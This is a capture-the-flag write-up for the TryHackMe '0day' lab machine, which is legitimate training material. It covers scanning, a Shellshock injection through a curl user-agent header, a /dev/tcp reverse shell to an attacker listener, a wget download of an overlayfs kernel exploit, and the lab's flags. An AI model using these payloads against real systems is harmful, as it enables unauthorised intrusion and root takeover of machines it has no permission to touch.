0Day CTF Write-Up:

Start with a simple Nmap scan:

```
# Nmap 7.92 scan initiated Fri Apr  5 13:36:17 2024 as: nmap -sC -sV -oN nmap -p- 10.10.173.77
Nmap scan report for 10.10.173.77
Host is up (0.071s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 57:20:82:3c:62:aa:8f:42:23:c0:b8:93:99:6f:49:9c (DSA)
|   2048 4c:40:db:32:64:0d:11:0c:ef:4f:b8:5b:73:9b:c7:6b (RSA)
|   256 f7:6f:78:d5:83:52:a6:4d:da:21:3c:55:47:b7:2d:6d (ECDSA)
|_  256 a5:b4:f0:84:b6:a7:8d:eb:0a:0d:3c:74:37:33:65:16 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 0day
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr  5 13:37:49 2024 -- 1 IP address (1 host up) scanned in 91.33 seconds
```

Lets take a look at the http site:

First I found in the /backup path something looks like an ssh private key , it is just misleading and I wasted my time try to use it.

After that I decided to run 'nikto' on the website to see if I can find any vulnerabilities:

```
┌──(user㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/0day]
└─# nikto -url 10.10.159.4 | tee nikto-results
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.159.4
+ Target Hostname:    10.10.159.4
+ Target Port:        80
+ Start Time:         2024-04-05 16:56:01 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashio
n to the MIME type
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Server may leak inodes via ETags, header found with file /, inode: bd1, size: 5ae57bb9a1192, mtime: gzip
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ Uncommon header '93e4r0-cve-2014-6271' found, with contents: true
+ OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?
name=CVE-2014-6278).
```

As we can see the site is vulnerable to 'shellshock' lets test it:

```
┌──(user㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/0day]
└─# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://10.10.159.4/cgi-bin/test.cgi

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```

So if we can execute commands lest generate a reverse shell:

```
┌──(user㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/0day]
└─# nc -nlvp 4242
listening on [any] 4242 ...
```

```
┌──(user㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/0day]
└─# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/10.8.41.134/4242 0>&1'" \
http://10.10.159.4/cgi-bin/test.cgi
```

```
┌──(user㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/0day]
└─# nc -nlvp 4242
listening on [any] 4242 ...
connect to [10.8.41.134] from (UNKNOWN) [10.10.159.4] 51365
bash: cannot set terminal process group (867): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$ whoami
whoami
www-data
www-data@ubuntu:/usr/lib/cgi-bin$
```

So now we are in as www-data, and we have read privileges on /home/ryan/user.txt

```
www-data@ubuntu:/home/ryan$ cat user.txt
cat user.txt
THM{Sh3llSh0ck_r0ckz}
```

(upgrade the shell)

Lets run linpeas to see how we can escalate our privileges :

```
System Information

Operative system
Linux version 3.13.0-32-generic (buildd@kissel) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 201
Description:    Ubuntu 14.04.1 LTS
Release:        14.04
Codename:       trusty
```

As we can see the linux kernel version is vulnerable to CVE 2015-1328 , lets search for the exploit:

EXPLOIT DATABASE

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation

EDB-ID:	CVE:	Author:	Type:	Platform:	Date:
37292	2015-1328	REBEL	LOCAL	LINUX	2015-06-16

EDB Verified: ✓ | Exploit: ⬇ / {} | Vulnerable App:

Download the exploit.c and transfer it to the victim system:

```
www-data@ubuntu:/tmp$ wget http://10.8.41.134/exploit.c
--2024-04-05 14:10:41--  http://10.8.41.134/exploit.c
Connecting to 10.8.41.134:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
Saving to: 'exploit.c'

100%[===================================>] 5,119      --.-K/s   in 0s

2024-04-05 14:10:41 (554 MB/s) - 'exploit.c' saved [5119/5119]
```

Now when I try to compile the c code I get an error:

```
www-data@ubuntu:/tmp$ gcc exploit.c -o exploit
gcc: error trying to exec 'cc1': execvp: No such file or directory
```

So its seems that the gcc cant find the cc1 in the PATH variable . lets help him:

```
www-data@ubuntu:/tmp$ echo $PATH
/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:.
```

```
www-data@ubuntu:/tmp$ find / -name cc1 2>/dev/null
/usr/lib/gcc/x86_64-linux-gnu/4.8/cc1
```

As we can see the cc1 is in /usr/lib and /usr/lib didn't exist in the $PATH variable, so lets add it :

```
www-data@ubuntu:/tmp$ export PATH="/usr/lib:$PATH"
www-data@ubuntu:/tmp$ echo $PATH
/usr/lib:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:.
```

Now let's try to compile again:

```
www-data@ubuntu:/tmp$ gcc exploit.c -o exploit
www-data@ubuntu:/tmp$ ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
#
```

As we can see we get a root shell! Grate lets get the flag:

```
# cat root.txt
THM{g00d_j0b_0day_is_Pleased}
#
```